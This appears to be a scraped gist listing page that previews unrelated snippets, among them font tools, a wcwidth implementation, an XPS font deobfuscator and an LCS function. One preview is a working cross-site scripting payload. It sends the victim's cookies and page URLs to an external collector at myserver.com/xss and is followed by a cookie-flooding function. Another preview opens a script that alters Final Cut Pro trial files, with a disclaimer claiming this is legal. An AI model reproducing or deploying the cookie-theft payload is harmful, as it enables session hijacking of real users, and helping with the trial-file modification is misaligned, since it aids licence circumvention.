| Parameter | YouTube recommends setting |
|---|---|
| -movflags faststart | moov atom at the front of the file (Fast Start) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "卧": "臣卜", | |
| "项": "工页", | |
| "功": "工力", | |
| "攻": "工攵", | |
| "荆": "茾刂", | |
| "邪": "牙阝", | |
| "雅": "牙隹", | |
| "期": "其月", | |
| "欺": "其欠", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Mount the font tools dmg as a volume on your Mac | |
| hdiutil attach ~/Downloads/osxfonttools.dmg | |
| # Navigate into the volume and copy | |
| # the main .pkg file somewhere locally | |
| # so you can manipulate it | |
| cd /Volumes/OS\ X\ Font\ Tools/ | |
| pkgutil --expand OS\ X\ Font\ Tools.pkg ~/fontTools && cd ~/fontTools | |
| # If you ls, here's what's in the file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/swift | |
| // DISCLAIMER | |
| // This script modifies an unencrypted file associated with the trial version of Final Cut Pro. | |
| // Under the DMCA (17 U.S.C. § 1201), this modification does not qualify as circumvention of a technological | |
| // protection measure (TPM), as it does not involve bypassing encryption, authentication, or similar protections. | |
| // Distributing this code is therefore legal under the DMCA. | |
| // This script is intended for educational and research purposes, such as exploring trial-related file structures, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * This is an implementation of wcwidth() and wcswidth() (defined in | |
| * IEEE Std 1002.1-2001) for Unicode. | |
| * | |
| * http://www.opengroup.org/onlinepubs/007904975/functions/wcwidth.html | |
| * http://www.opengroup.org/onlinepubs/007904975/functions/wcswidth.html | |
| * | |
| * In fixed-width output devices, Latin characters all occupy a single | |
| * "cell" position of equal width, whereas ideographic CJK characters | |
| * occupy two such cells. Interoperability between terminal-line |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const purpose = "Purpose: deobfuscate odttf file (extracted from M$ XPS file)" | |
| const usage = "Usage: node deobfuscate-odttf-in-xps.js <guid-obfuscated-font-file.odttf> [<output-file.ttf>]" | |
| const obfuscatedStartOffset = 0 //start of obfuscated bytes in font file | |
| const obfuscatedEndOffset = 32 //start of obfuscated bytes in font file | |
| const guidSize = 32 // length of GUID string (only hex characters included) | |
| const fs = require('fs') | |
| const path = require('path') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (function(){(new Image()).src='http://myserver.com/xss//index.php?do=api&id=kQjOff&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); | |
| if(''==1){keep=new Image();keep.src='http://myserver.com/xss//index.php?do=keepsession&id=kQjOff&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; | |
| function setCookies () { | |
| /*apache server limit 8192*/ | |
| var str = ""; | |
| for (var i=0; i< 819; i++) { | |
| str += "x"; | |
| } | |
| for (i = 0; i < 10; i++) { | |
| var cookie = "ray"+i+"="+str+";path=/"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| * Reducing executable size: | |
| http://developer.xamarin.com/guides/cross-platform/deployment,_testing,_and_metrics/memory_perf_best_practices/#Reducing_Executable_Size | |
| * Use the linker (iOS [1], Android [2]) to remove unnecessary code from your assemblies | |
| [1] https://developer.xamarin.com/guides/ios/advanced_topics/linker | |
| [2] https://developer.xamarin.com/guides/android/advanced_topics/linking | |
| * Reference third-party libraries judiciously | |
| * Applying constraints to generics may reduce app size, since less code would need to be included (haven’t verified this) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> | |
| <title>Auto play html audio in iOS WeChat InAppBrowser the right way</title> | |
| </head> | |
| <body> | |
| <h1>在 iOS 微信浏览器中自动播放 HTML5 audio(音乐) 的正确方式</h1> | |
| <p>核心原理: 在微信的JS-API 中 play 一下 audio 即可达到自动播放的目的(应该是微信自己做了处理)</p> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function LCS(s1, s2) { | |
| var result = []; | |
| for (var i=0; i<=s1.length; i++) { | |
| result.push([]); | |
| for (var j=0; j<=s2.length; j++) { | |
| var currValue = 0; | |
| if (i==0 || j==0) { | |
| currValue = 0; | |
| } else if (s1.charAt(i-1) == s2.charAt(j-1)) { | |
| currValue = result[i-1][j-1] + 1; |
NewerOlder